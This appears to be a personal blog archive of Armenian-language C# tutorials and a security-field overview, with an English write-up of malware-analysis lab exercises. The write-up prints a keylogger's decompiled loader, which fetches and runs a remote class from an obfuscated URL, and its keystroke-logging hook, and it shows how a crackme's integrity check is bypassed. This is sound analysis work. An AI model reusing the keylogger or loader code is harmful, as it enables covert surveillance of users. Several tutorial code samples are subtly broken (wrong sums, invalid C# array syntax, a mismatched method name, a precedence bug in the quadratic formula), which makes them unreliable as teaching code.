Ժամանակակից ծրագրավորման լեզուներում շատ մեծ ուշադրություն է դարձվում կլասսերին և դրանց հետ աշխատանքին։ Կլասսերը հանդիսանում են struct-երի առավել բազմաֆունկցիոնալ տեսակը։ .NET հարթակում աշխատելիս class-երի և struct-երի միջև գոյություն ունի կարևոր մի տարբերություն՝ class-ը պատկանում է հղումային տիպերի դասին, այսինքն եթե ստեղծում ենք նոր տիպ, ապա այդ տիպի փոփոխականը պարունակում է հիշողության մեջ տվյալ կլասսի նմուշի (instance) հասցեն (եթե այն ստեղծված է)։ Այն դեպքերում, երբ հայտարարված է փոփոխական, սակայն ստեղծված չէ նմուշ, փոփոխականը կրում է null (դատարկ հասցե) հատուկ արժեքը, ինչը նշանակում է որ այն չի հղում հիշողության մեջ որևէ իրական հասցեի։

Մեր նախագծում (project) նոր կլասս ավելացնելու համար անհրաժեշտ է Visual Studio-ում օգտվել Add new item մենյուից։

Ինչպես և struct-երը, կլասսերը նույնպես կարող են պարունակել դաշտեր և մեթոդներ։ Դրանք նույնպես օժտված են կոնստրուկտորներով։
Ի տարբերություն struct տիպերի, կլասսերի նմուշի ստեղծման համար պարտադիր է կոնստրուկտորի օգտագործումը։

Կոնստրուկտորի օգտագործումը պարտադիր է քանի որ, հանդիսանալով հղումային տիպի նմուշ, կլասսի փոփոխականը պարունակում է միայն օբյեկտի հասցեն, ոչ թե ամբողջ օբյեկտը։ Այսինքն միայն փոփոխական հայտարարելիս (առանց արժևորման), հիշողության մեջ տեղ է հատկացվում օբյեկտի հասցեի պահպանման համար, մինչդեռ իրական օբյեկտը ստեղծվում է կոնստրուկտորի միջոցով։

Կլասսի հայտարարումը ներառում է

class բանալի բառը
կլասսի անվանումը
ձևավոր փակագծերի ներսում, կլասսի պարփակված անդամները

Visual Studio—ում Add new item գործողությունից օգտվելու դեպքում, կլասսի սկզբնական կոդը գեներացվում է ավտոմատ կերպով և մեզ մնում է աշխատել կլասսի ներքին կոդի վրա (փոփոխականների, մեթոդների ավելացում և այլն)։

Ամփոփում

Այս անգամ ծանոթացանք struct և class տիպերի տեսակներին, ինչպես դրանցով կարող ենք ստեղծել մեր սեփական տիպերը և այնուհետև ստեղծել այդ տիպերի նմուշներ։ Հասկացանք թե ինչ է կատարվում երբ հայտարարում ենք մեր նոր տիպի փոփոխական և ինչպես են օգտագործվում կոնստրուկտորները։

Հաջորդ գրառման մեջ կմանրամասնեմ կլասսերի օգտագործումը, մի քանի կոնստրուկտորների ներառումը և կներկայացնեմ օբյեկտների հետ աշխատող ծրագրերի գրագետ մշակման սկզբունքները։

Malware Analysis with .NET and Java

Narek Babajanyan — Sun, 05 Apr 2020 19:21:57 +0000

This post serves as a write-up of the practical exercises offered in Pluralsight's Analyzing Malware for .NET and Java Binaries course.

The course covers tools and techniques for analyzing malicious software developed for .NET and JVM platforms. These tools include

dnSpy - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.
Bytecode Viewer - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.

First steps

The first exercise included in this course is a non-malicious program written for the .NET platform, that contains a "flag" - an email address. Disassembling and decompiling the software in dnSpy is as easy as simply opening the Portable Executable file (.exe) within the program.

Doing so reveals the structure of the assembly, in a manner visually very similar to Visual Studio.
As we can see, our assembly consists of three projects

PS_DotNet_Lab1
PS_DotNet_Lab1.App_Code
PS_DotNet_Lab1.Properties

each containing multiple classes.
As first order of business, we should find the entry point of the program. I examine the Program class and find the Main() function.

namespace PS_DotNet_Lab1
{
    // Token: 0x02000004 RID: 4
    internal static class Program
    {
        // Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
        [STAThread]
        private static void Main()
        {
            bool flag = Verification.App_Startup();
            if (flag)
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new Client());
            }
            else
            {
                MessageBox.Show("Try Again :)");
            }
        }
    }
}

Simply running the program shows a message box with the "Try Again :)" message, which indicates that the flag variable is initially false. In order to understand the logic behind this value, the App_Startup() function (located in the Verification class) needs to be examined.

namespace PS_DotNet_Lab1
{
    // Token: 0x02000002 RID: 2
    public static class Verification
    {
        // Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
        private static string create_md5(string filename)
        {
            string result;
            using (MD5 md = MD5.Create())
            {
                using (FileStream fileStream = File.OpenRead(filename))
                {
                    result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
                }
            }
            return result;
        }

        // Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
        public static bool App_Startup()
        {
            bool result;
            try
            {
                Settings settings = new Settings();
                string check = settings.check1;
                string b = Verification.create_md5("PS_DotNet_Lab1.exe");
                bool flag = check != b;
                if (flag)
                {
                    result = false;
                }
                else
                {
                    result = true;
                }
            }
            catch
            {
                result = false;
            }
            return result;
        }
    }
}

Looking at the App_Startup() and create_md5() methods, I get the impression that the program is checking its own integrity through an MD5 hash. The Settings.check1 property has DefaultSettingValue attribute set for a specific MD5 hash.

Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the App_Startup() method to always return true instead of the result variable. After clicking Save All, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.

Clicking the Authenticate button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the Client class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the button1_Click() method.

// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
        private void button1_Click(object sender, EventArgs e)
        {
            bool flag = !Authentication.isAuthorized();
            if (flag)
            {
                this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
                bool flag2 = this.maxAttempts == 0U;
                if (flag2)
                {
                    RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
                    registryKey.SetValue("Challenge1", "1");
                    registryKey.Close();
                    Application.Exit();
                }
                this.maxAttempts -= 1U;
            }
            else
            {
                this.txtOutputLog.Clear();
                this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
                RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
                bool flag3 = registryKey2 != null;
                if (flag3)
                {
                    object value = registryKey2.GetValue("Challenge1");
                    bool flag4 = value != null;
                    if (flag4)
                    {
                        registryKey2.DeleteSubKey("Challenge1");
                    }
                    registryKey2.Close();
                }
            }
        }

We seem close to our objective. The software seems to check for authorization through the isAuthorized() method, and if so, display the email "flag". I proceed by modifying the method so that the flag variable is always false and does not depend on authorization.

That's it. This reveals our desired flag.

Note: One of the objectives on malware analysis is to find indicators of compromise (IOC) - clues that indicate that a given machine has been infected. As the decompiled code shows, this software modifies the Windows registry and creates a subkey PS_DotNet_Lab1. Presence of said key within the Registry Editor (regedit.exe) can function as an IOC.

An alternative way

Upon my first examination of the decompiled source, I found the method that actually generates the email address. However, the flag wasn't kept simply as a string, an anti-analysis technique called obfuscation was used. The method in question is located in the Authorization class and is called returnEmailAddress(). Here's the excerpt from the class:

public static string returnEmailAddress()
        {
            string text = "";
            foreach (char c in Authentication.addy)
            {
                text += c.ToString();
            }
            return text;
        }

        // Token: 0x04000009 RID: 9
        private static byte[] addy = new byte[]
        {
            53,
            102,
            54,
            104,
            56,
            57,
            100,
            115,
            117,
            64,
            48,
            120,
            101,
            118,
            105,
            108,
            99,
            48,
            100,
            101,
            46,
            99,
            111,
            109,
            46,
            99,
            111,
            109
        };

So another option to retrieve our email address would be to copy this code, run it in our own environment and retrieve the resulting string. However, I chose to try and open the full Windows Forms application for added interest.

Second exercise

The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a .jar package, which can be opened from within Bytecode Viewer.

In order to dissect the logic of the program, we need to find its entry point - the main() function. It can be found within the ResourceLoader class, which also includes a lot of seemingly random string objects, most of which are presumably unnecessary (unnecessary code is yet another anti-analysis technique).

public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
      URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
      ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
      Thread.currentThread().setContextClassLoader(jceClassLoader);
      Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
      Method main = c.getMethod("main", args.getClass());
      main.invoke((Object)null, args);
   }

It can be seen that this method serves simply to retrieve the real main() method from the introspection2.jar package. I used archiving software to retrieve the package and supply it to Bytecode Viewer.

Note: Another internal .jar package was present - jnativehook.jar. Upon looking at its classes, it seems to belong to the JNativeHook library that the malware uses to listen for keypresses.

The introspection2 class seems to contain the main malicious logic, it's entry point main() method contains the following line

GlobalScreen.addNativeKeyListener(new introspection2());

This prompts our attention to the constructor of the class:

public introspection2() throws IOException {
    File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
    if (!file.exists()) {
        file.createNewFile();
    }

    this.fw = new FileWriter(file.getAbsoluteFile(), true);
    this.bw = new BufferedWriter(this.fw);
}

It is clear that the malware looks for the temporary directory, and creates a file called JavaDeploy.log within it. That's our indicator of compromise - by searching for this file on suspected machines, we can confirm whether they have been infected.

In order to work with JNativeHook, the class implements the NativeKeyListener interface. More specifically, I pay attention to the nativeKeyPressed() method:

public void nativeKeyPressed(NativeKeyEvent e) {
  try {
     this.bw.write(e.getKeyCode() ^ 151);
     this.bw.flush();
  } catch (IOException var4) {
  }

  if (e.getKeyCode() == 1) {
     try {
        GlobalScreen.unregisterNativeHook();
     } catch (NativeHookException var3) {
        var3.printStackTrace();
     }
  }
}

We can now see the exact mechanism that this particular malware (more specifically, keylogger) utilizies. In order to obfuscate its output, it XORs the registered characters with a specific number (151).

Սովորում ենք C# | Մեթոդներ, stack և heap, արժեքային և հղումային տիպեր

Narek Babajanyan — Wed, 01 Apr 2020 18:22:41 +0000

Ի՞նչ է մեթոդը

Մեթոդ (method) կամ ֆունկցիա (function) է կոչվում մեկ անվան տակ խմբավորված հրամանների հավաքածուն։ Մեթոդները հիմնականում օգտագործվում են հրամանների խումբը մի քանի անգամ կատարելու անհրաժեշտության դեպքում՝ միևնույն կոդի կրկնությունից խուսափելու համար։ Մեթոդը կարող է ընդունել փոփոխվող պարամետրեր և վերադարձնել ինչ֊որ արժեք։ Մեթոդի հայտարարման համար նշվում է՝

վերադարձվող արժեքի տիպը (return type)
մեթոդի անվանումը
փակագծերի ներսում՝ պարամետրերի ցանկը
ձևավոր փակագծերի ներսում՝ մեթոդի մարմինը (method body), այսինքն՝ դրա մեջ մտնող հրամանները

// Վերադարձվող արժեքի տիպը կարող է լինել
// մեզ արդեն ծանոթ տիպերից ցանկցածը
// ինչպես նաև void տիպը
int AddNumbers(int x, int y) 
{
    return x+y;
}

// տվյալ հրամանը կանչում է AddNumbers() մեթոդը
// և վերադարձված արժեքը վերագրում sum փոփոխականին
int sum = AddNumbers(33, 7);    // sum = 10

void տիպն օգտագործվում է այն ժամանակ, երբ մեթոդից վերադարձվող արժեք չի ակնկալվում։

void SendMessage(string address, string message) { /* ... */ }
// ...
SendMessage(); 
// մեթոդը չի վերադարձնում արժեք, հետևաբար, ոչնչի վերագրվել չի կարող
// սակայն այն կարելի է ուղղակի կանչել, առանց վերագրման

float result = SendMessage(); // այս կոդը չի կոմպիլացվի

C# ծրագրերի մեջ գոյություն ունի հատուկ մեթոդ՝ Main()֊ը։ Վերջինս հանդիսանում է ծրագրի մուտքային կետ (entry point), այսինքն՝ ցանկացած ծրագրի կատարում սկսվում է հենց այս մեթոդի կանչից։ Ըստ այդմ, ձեր ծրագրերի ամբողջ տրամաբանությունը պետք (օրինակ՝ այլ մեթոդների կանչերը) է կենտրոնացված լինի հենց Main()֊ի շուրջ։

Դիտարկենք օրինակ՝ փորձենք ստեղծել ծրագիր, որը տրված a, b և c գործակիցների համար կլուծի ax^2 + bx + c = 0 տեսքի քառակուսային հավասարումը։

using System;

public class QuadraticSolver
{
    public static void Main()
    {
        double a = 1;
        double b = 3;
        double c = -4;
        SolveQuadraticEquation(a, b, c);
    }

    private static double FindDiscriminant(double a, double b, double c)
    {
        return (b*b - 4*a*c);
    }   

    private static void SolveEquation(double a, double b, double c)
    {
        double D = FindDiscriminant(a, b, c);
        if(D > 0) 
        {
            // Math.Sqrt() մեթոդն օգտագործվում է քառակուսի արմատի հաշվարկման համար
            double x1 = (-b + Math.Sqrt(D)) / 2*a;
            double x2 = (-b - Math.Sqrt(D)) / 2*a;
            // Էկրանին արտածել երկու լուծումները
            Console.WriteLine(x1);
            Console.WriteLine(x2);
        } else if(D == 0)
        {
            double x = (-b - Math.Sqrt(D)) / 2*a;
            // Էկրանին արտածել լուծումը
            Console.WriteLine(x);
        } else
        {
            Console.WriteLine("Հավասարումը լուծում չունի");
        }
    }
}

Փորձենք պատկերացնել տվյալ ծրագրի ընթացքը

Առաջին հերթին CLR հարթակի կողմից կանչվում է Main() մեթոդը (ինչը նշանակում է որ ձեր ծրագիրը գործարկվել է),
այնուհետև կանչվում է SolveEquation()-ը,
որն իր հերթին կանչում է FindDiscriminant()-ը։

Ամեն անգամ, երբ կանչվում է նոր մեթոդ, նախորդի ընթացքը սառեցվում է՝ սպասելով նոր կանչվածի վերադարձված (return) արժեքին։

Պատկերացնենք այս ամենը տեսողական կերպով՝ մեթոդը կարելի է պատկերել որպես մեկ աղյուս, նոր մեթոդ կանչել նշանակում է նոր աղյուս դնել նախորդի վրա, իսկ մեթոդի ավարտը՝ այդ աղյուսի հեռացում։ Այսպիսով, մենք չենք կարող հեռացնել որևէ աղյուս, քանի դեռ դրա վերևում գտնվող բոլոր աղյուսները հեռացված չեն (այսինքն, քանի դեռ բոլոր հետագա կանչված մեթոդները չեն ավարտվել, ներկա մեթոդը չի կարող ավարտվել)։

Այս փոխհարաբերությունն ինֆորմատիկայում ներկայացվում է որպես տվյալների կառուցվածք (data structure), որը կոչվում է stack։ Վերջինս ըստ էության արգելում է աշխատանքը միջանկյալ տարրերի հետ, քանի դեռ դրանց վերևում կա այլ տարր, փաստացի միակ հասանելի գործողություններն են վերին տարրի հեռացումն ու վերևում նոր տարրի տեղադրումը։

Stack և Heap

Ի՞նչ է stack֊ը

Stack-ին ինֆորմատիկայում հատկացվում է բավականին մեծ կարևորություն։
Դրանով լուծվում է ծրագրավորման կարևոր խնդիր՝ մեթոդների ընթացքի և դրանց տեղական փոփոխականների (local variable) կառավարում։

CLR—ի կողմից մեր ծրարգի գործարկման ընթացքում, հիշողության մեջ հատկացվում է հատուկ գոտի, որը կոչվում է կանչերի stack (call stack)։ Ամեն անգամ, երբ կանչվում է նոր մեթոդ, դրա համար կանչերի stack-ում առանձնացվում է հատված, որը կոչվում է տվյալ մեթոդի շրջանակ (stack frame)։ Վերջինս իր մեջ պարունակում է՝

օբյեկտի հղումը, որում կանչվել է մեթոդը (թե ինչ է հղումը, կիմանանք շուտով)
կանչված մեթոդին տրված պարամետրերը,
մեթոդում հայտարարված տեղական փոփոխականները:

Ինչպես պարզ է դառնում, մեթոդի ավարտից հետո կանչերի stack֊ից հեռացվում է վերին շրջանակը, մեթոդի վերադարձված արժեքը փոխանցվում է նախորդին, իսկ տեղական փոփոխականներն ու պարամետրերը՝ ջնջվում։

Իսկ ի՞նչ անել եթե ցանկանում ենք հիշողության մեջ պահել "երկարակյաց" տվյալներ, որոնց պահպանումը կախված չէ որևէ մեթոդից։

Ի՞նչ է heap֊ը

Heap֊ը կարելի է պատկերացնել որպես զամբյուղ, որում իրերը կարելի է տեղավորել պատահական հերթականությամբ, քանի դեր զամբյուղի տարողունակությունը դա թույլ է տալիս։

Որոշ դեպքերում heap֊ում տվյալներ պահպանելիս առաջանում է խնդիր՝ տվյալը գտնվում է հիշողության մեջ, սակայն այն այլևս չի օգտագործվում։ Այս դեպքերի համար .NET հարթակում գործում է ավտոմատ "աղբահավաք" համակարգ (garbage collection), որն ինքնուրույն հայտնաբերում է չօգտագործված փոփոխականներն ու ջնջում դրանք հիշողությունից։

Արժեքային և հղումային տիպեր

Այժմ, քանի որ արդեն ծանոթ ենք C#֊ում հիշողության օգտագործման հնարավոր ձևերի մասին, տեսնենք թե որ տիպի փոփոխականներն ինչպես են դա անում։
Ըստ հիշողության մեջ պահպանման եղանակի, տիպերը C#-ում բաժանվում են երկու տեսակի՝ արժեքային տիպեր (value type) և հղումային տիպեր (reference types)։

Արժեքային տիպերի փոփոխականները տվյալները պահում են անմիջապես իրենց մեջ։ Մեզ արդեն ծանոթ պարզագույն տիպերը՝ ամբողջ թվեր (int short, long և այլն), կոտորակային թվեր (float, double, decimal) և նիշեր (char), պատկանում են արժեքային տիպերի կատեգորիային։

Հղումային տիպերի օբյեկտ ստեղծելիս, այն տեղադրվում է heap֊ում, և փոփոխականում պահվում է դրա պահպանման հասցեն։ Մեզ հայտնի տիպերից հղումային դասին է պատկանում string֊ը։

Դիտարկենք օրինակ՝

static void Main()
{
    int numInt = 13;
    string numStr = "13";
}

Այժմ մանրամասնենք թե ինչ է կատարվում համակարգչի հիշողության մեջ։
Ինչպես արդեն նշեցի՝ ցանկացած մեթոդի համար կանչերի stack֊ում առանձնացվում է շրջանակ (stack frame), որում պահվում են տեղական փոփոխականները։ Քանի որ առաջին փոփոխականն արժեքային տիպի ներկայացուցիչ է, 13 արժեքն անմիջապես պահվում է numInt փոփոխականի մեջ, մինչդեռ երկրորդ փոփոխականի տիպը հղումային է, ինչը նշանակում է որ heap-ում ստեղծվում է string տիպի օբյեկտ՝ "13" արժեքով, որի հասցեն էլ պահպանվում է numStr փոփոխականում։

Հաջորդ գրառման մեջ կսովորենք ստեղծել մեր սեփական տիպերը class֊երի և struct֊երի միջոով։

Ամփոփում։

Այս գրառման մեջ ծանոթացանք՝

մեթոդներին,
stack֊ին և heap֊ին,
արժեքային (value) և հղումային (reference) տիպերին։

Բացահայտում ենք Տեղեկատվական Անվտանգության ոլորտը

Narek Babajanyan — Mon, 23 Mar 2020 18:18:13 +0000

Ի՞նչ է Տեղեկատվական Անվտանգությունը

Տեղեկատվական անվտանգություն (information security, նաև կոչվում է կիբերանվտանգություն՝ cybersecurity) է կոչվում միջոցների ու գործընթացների համախումբը, որը նպատակաուղղված է պաշտպանելու գաղտնի տեղեկատվությունը չնախատեսված օգտագործումից, բացահայտումից, փոփոխությունից կամ ոչնչացումից։

ՏԱ Մասնագիտացումներ

Ընդհանուր առմամբ, տեղեկատվական անվտանգության ոլորտը բաժանվում է երկու պայմանական ճամբարների՝

կապույտ թիմ (blue team) - պաշտպանվող կողմ՝ ձեռնարկում է ՏԱ միջոցներ և կատարում անհրաժեշտ գործընթացներ,
կարմիր թիմ (red team) - հարձակվող կողմ՝ կազմակերպության թույլտվությամբ իրականացնում է հետախուզություն և հարձակումներ դրա տեղեկատվական համակարգերի վրա՝ փորձելով պարզել բոլոր հնարավոր խոցելի հատվածները և դրանով իսկ սատարել կապույտ թմի առավել արդյունավետ աշխատանքին։

Լինելով բավականին լայն ոլորտ՝ Տեղեկատվական անվտանգությունն ունի ենթաոլորտներ, որոնցով հնարավոր է մասնագիտանալ։ Դրանցից մի քանիսն են`

Ցանցային անվտանգություն (network security)՝ ցանցի հասանելիության և անվտանգության ապահովում ծրագրային գործիքների և սարքավորումների միջոցով։ Հաճախ համատեղվում է ցանցային ադմինիստրացիայի հետ,
Ծրագրային անվտանգություն (application security)՝ անվտանգ վեբ, համակարգչային և բջջային ծրագրերի մշակում և պաշտպանություն հնարավոր խոցելիությունից (vulnerability), որի հայտնաբերման գործընթացը կոչվում է ներթափանցման փորձարկում (penetration testing),
Թվային քրեագիտություն (digital forensics) և արտակարգ պատահարների աջակցություն (incident response)՝ այս ոլորտները հաճախ միասին անվանվում են DFIR և ենթադրում են արդեն իսկ կատարված հարձակման հետևանքների ճշտում, հնարավոր կորուստների վերականգնում և հետագայում նմանատիպ հարձակումներից պաշտպանվելու միջոցների ձեռնարկում,
Աուդիտ (security audit)՝ ընկերության ՏԱ միջոցների՝ անհրաժեշտ չափանիշների համապատասխանության ստուգում,
Ծածկագիտություն (cryptography)՝ տեղեկատվության գաղտնագրման (encryption) ալգորիթմերի մշակում կամ հակառակը՝ հակառակորդի գաղտնագրման ալգորիթմերի շրջանցում և թաքնված տվյալների բացահայտում,
Սպառնալիքների հետազոտում (threat intelligence research)՝ ռազմավարական մակարդակի հնարավոր ռիսկերի մոդելավորում և ռիսկային դերակատարների ճշգրտում, հաճախ կենտրոնանում է օտարերկրյա պետությունների հովանու տակ գործող երկարաժամկետ սպառնալիք (APT - Advanced Persistent Threat) հանդիսացող խմբավորումների վրա,
Արդյունաբերական համակարգերի անվտանգություն (industrial control systems (ICS) security)՝ ցանցային կառավարմամբ օժտված արտադրական և էներգետիկ համակարգերի անվտանգության ապահովում։
Վնասատու ծրագրերի վերլուծություն (malware analysis)՝ համակարգչային վիրուսների մանրակրկիտ հետազոտում, դրանց հայտնաբերման և չեզոքացման նոր մեթոդների մշակում,
Կառավարում (management)՝ ընկերության ՏԱ գործընթացների և կադրերի ղեկավարում, որոշ մեծ ընկերություններում այս նպատակով հատկացվում է ՏԱ գծով տնօրենի (Chief Information Security Officer) պաշտոն։

Արդյո՞ք ՏԱ մասնագիտության համար անհրաժեշտ է ծրագրավորման իմացություն

Տվյալ հարցի պատասխանը կախված է ՏԱ կոնկրետ ճյուղից։ Օրինակ՝ ծրագրային անվտանգությունը (application security) ենթադրում է խոցելիությունից զուրկ ծրագրերի մշակում, ըստ այդմ կենտրոնացված է ծրագրավորման շուրջ և պահանջում է վերջինիս իմացություն։ Մյուս կողմից, ներթափանցման փորձարկման (penetration testing) որոշ մասնագետներ զբաղվում են այս ոլորտով առանց ծրագրավորման խորը գիտելիքների։

Գոյություն ունեն ֆրիլանս հարթակներ, որոնք կենտրոնանում են ներթափանցման փորձարկման մասնագետների հետ աշխատանքի վրա։ Այդպիսիք են HackerOne-ը և BugCrowd-ը

Տեղեկատվական անվտանգության մասնագետներն օգտագործում են թե՛ անվճար, թե՛ վճարովի պատրաստի ծրագրային գործիքների համար, սակայն շատ դեպքերում անհրաժեշտ է լինում մշակել սեփական գործիքները՝ հարմարության, ինչպես նաև գտնված խոցելիության ցուցադրության համար։ Այժմ նաև շեշտ է դրվում շատ գործընթացների և գործիքների ավտոմատցման վրա, որի կազմակերպման համար ցանկալի է ծրագրավորման լեզվի (հաճախ՝ Python-ի) իմացություն։

ՏԱ ոլորտի որակավորում

Քանի որ համալսարանական կրթական համակարգերը դեռևս չեն բավարարում ոլորտի կադրային պահանջարկը, այստեղ գործում է որակավորման բազմակողմանի համակարգ։ Հավաստագրերը ՏԱ ոլորտում բաժանվում են երկու տեսակի՝

Որևէ կոնկրետ արտադրողի կողմից տրված հավաստագրեր (vendor-specific), որոնք փաստում են տվյալ ընկերության ապրանքանիշի տեխնիկական իմացություն
Ընդհանուր (կոնկրետ արտադրողի հետ չկպաված) հավաստագրեր (vendor-neutral), որոնք ստուգում են ընդհանրական սկզբունքների և մարտավարության իմացություն։

Թվարկենք մի քանի vendor-neutral հավաստագրերի հեղինակ կազմակերպություններ և դրանց առավել հայտնի հավաստագրերը՝

CompTIA հավաստագրեր՝

CompTIA Security+՝ ստուգում է ՏԱ ոլորտի մասին ընդհանուր իմացություն, նախատեսված է ոլորտի սկսնակների համար,
CompTIA PenTest+՝ կենտրոնանում է ներթափանցման փորձարկման վրա։

(ISC)2 հավաստագրեր՝

(ISC)2 CISSP (Certified Information Systems Security Professional)՝ փաստում է տեղեկատվական համակարգերի անվտանգության բարձր մակարդակի գիտելիքենրի մասին։ Նախատեսված է արդեն իսկ փորձառու մասնագետների համար, ովքեր ձգտում են ՏԱ գծով գործադիր պաշտոնի,
(ISC)2 CSSLP (Certified Secure Software Lifecycle Professional)` կենտրոնանում է ծրագրային անվտանգության վրա։

GIAC հավաստագրեր՝

GIAC Secure Software Programmer - .NET՝ կենտրոնանում է .NET հարթակի վրա անվտանգ ծրագրերի մշակման վրա, այս հավաստագիրն ունի նաև Java լեզվի համար նախատեսված տարբերակ
GIAC Web Application Penetration Tester՝ նախատեսված է վեբ հավելվածների ներթափանցման փորձարկման և խոցելիությունից պաշտպանվելու գիտելիքների ստուգման համար
GIAC Security Expert՝ տվյալ կազմակերպության կողմից առաջարկվող ամենահեղինակավոր և ամենաբարդ որակավորումը։ GSE-ն և վերոնշյալ CISSP-ն համարվում են ոլորտի առաջատար որակավորումներ

Offensive Security հավաստագրեր՝

Offensive Security Certified Professional
Offensive Security Certified Expert
Offensive Security Exploitation Expert

Ամփոփում

Քանի որ ինքս դեռ բացահայտում եմ ՏԱ ոլորտը, այս գրառման մեջ հավաքագրել եմ դրա մասին կազմած իմ նախնական պատկերացումները՝

ՏԱ նշանակությունը,
ծրագրավորման իմացության անհրաժեշտությունը,
ոլորտի ճյուղերը,
շուկայում հեղինակություն վայելող մասնագիտական որակավորումները։

Մոտ ապագայում պլանավորում եմ կենտրոնանալ ծրագրային անվտանգության վրա (մասնավորապես C#/.NET տեխնոլոգիաների օգտագործմամբ), ինչի մասին կպատմեմ հետագա գրառումներում։

Սովորում ենք C# | Զանգվածներ

Narek Babajanyan — Sat, 21 Mar 2020 20:01:58 +0000

Նախկինում ուսումնասիրել ենք C#-ում տվյալների պահպանման համար նախատեսված գործիքակազմը՝ ի դեմս պարզագույն տիպերի փոփոխականների։ Այժմ ժամանակն է ծանոթանալ ինֆորմատիկայի մեջ լայն կիրառություն ունեցող մեկ այլ գործիքի՝ զանգվածների։

Զանգվածն (array) իրենից ներկայացնում է նույն անվան տակ խմբավորված փոփոխականների հավաքածու։ Այն հնարավորություն է տալիս հիշողության մեջ պահել նույն տիպի ցանկացած քանակի փոփոխական՝ դրանք հասցեավորելով հերթական համարներով։

Եթե մեզ հարկավոր է պահել տասը անուն, հնարավոր է հայտարարել տասը արանձին փոփոխական և դրանց տալ համապատասխան արժեքներ՝

string str1 = "Alpha";
string str2 = "Bravo";
string str3 = "Charlie";
string str4 = "Delta";
// և այլն․․․

Սակայն այս մեթոդն այնքան էլ արդյունավետ չէ՝ որոշ դեպքերում մեզ կարող են պետք գալ շատ մեծ թվով կամ նույնիսկ անհայտ քանակով փոփոխականներ։ Զանգվածների կիրառմամբ նույն խնդրի լուծումը կունենա հետևյալ տեսքը՝


// Զանգվածի հայտարարումը նման է փոփոխականի հայտարարմանը
// Ավելացվում է միայն [] փակագծերի զույգը
// int number   - Integer տիպի մեկ փոփոխական
// int number[] - Integer տիպի փոփոխականների զանգված


string words[] = {"Alpha", "Bravo", "Charlie", "Delta", "Echo"} // և այլն․․․

// Զանգվածի կոնկրետ փոփոխական կարդալու կամ փոփոխելու համար 
// օգտագործվում է դրա հերթական համարը (index)
// Հերթական համարները ինֆորմատիկայում սովորաբար սկսվում են 0֊ից

words[0] // Alpha
words[1] // Bravo
words[2] = "New name"
// words[] = {"Alpha", "Bravo", "New Name", "Delta", "Echo"}

words[3] = words[2];
// words[] = {"Alpha", "Bravo", "New Name", "New Name", "Echo"}

Զանգված հայտարարելիս ձևավոր փակագծերի ներսում արժեքների նշումը կոչվում է զանգվածի սկզբնական արժեվորում (initialization)։ Եթե մեզ դեռևս հայտնի չեն սկզբնական արժեքները, կարելի է փոխարենը զանգվածը հայտարարել միայն տիպը և չափը նշելով։

float numbers[] = new float[10];
string names[] = new string[100];

Զանգվածը կարելի է հայտարարել նաև նշելով և՛ երկարությունը, և՛ տարրերը։

int numbers[] = new int[5] {0, 13, -4, 24, 6};

Կոնկրետ չափով զանգված ստեղծելիս հարկավոր է հաշվի առնել, որ քանակը հաշվվում է 1-ից, իսկ հերթական համարները՝ 0-ից։ Այսինքն, int numbers[] = new int[10]; հրամանով ստեղծված զանգվածը սկսվում է numbers[0]-ից և ավարտվում numbers[9]-ով (տարրերի ընդհանուր քանակը՝ 10)։

Զանգվածի սահմաններից դուրս գտնվող հերթական համար օգտագործելու դեպքում ծրագիրը կհանգի IndexOutOfRangeException կոչվող սխալի (Exception-ներին և դրանց տեսակներին կանդրադառնանք ավելի ուշ)։

Բազմաչափ զանգվածներ

Որոշ խնդիրների լուծման ժամանակ անհրաժեշտ է լինում օգտվել հերթական համարներով տվյալներ հայթայթելու և պահպանելու հարմարությունից, սակայն մեկ չափանի զանգվածները չեն բավականացնում։ Այս պարագայում օգտագործվում են բազմաչափ զանգվածներ (multi-dimensional array)։

Նման խնդրի օրինակ կարող է հանդիսանալ շախմատի տախտակի մոդելավորումը ծրագրի մեջ՝ 64 առանձին փոփոխական հայտարարելն ընդհանրապես էֆեկտիվ չէ, 8 տարր պարունակող 8 տարբեր զանգված հայտարարելը նույնպես։ Փոխարենը կարող ենք օգտագործել երկչափանի զանգված՝

// Բազմաչափ զանգված հայտարարելիս քառակուսի փակագծերում ներառվում է ստորակետ
// Ստորակետների քանակը մեկով պակաս է զանգվածի չափումների քանակից
// string[]   - 1D array
// string[,]  - 2D array
// string[,,] - 3D array

string[ , ] board = new string[8, 8];
board[0, 0] = "HOOK";
board[0, 1] = "KNIGHT";
board[0, 2] = "BISHOP";

Հարկ է նշել, որ բազմաչափ զանգվածները լինում են երկու տեսակի՝

Ուղղանկյուն զանգվածներ (rectangular array)
Անհարթ զանգվածներ (jagged array)

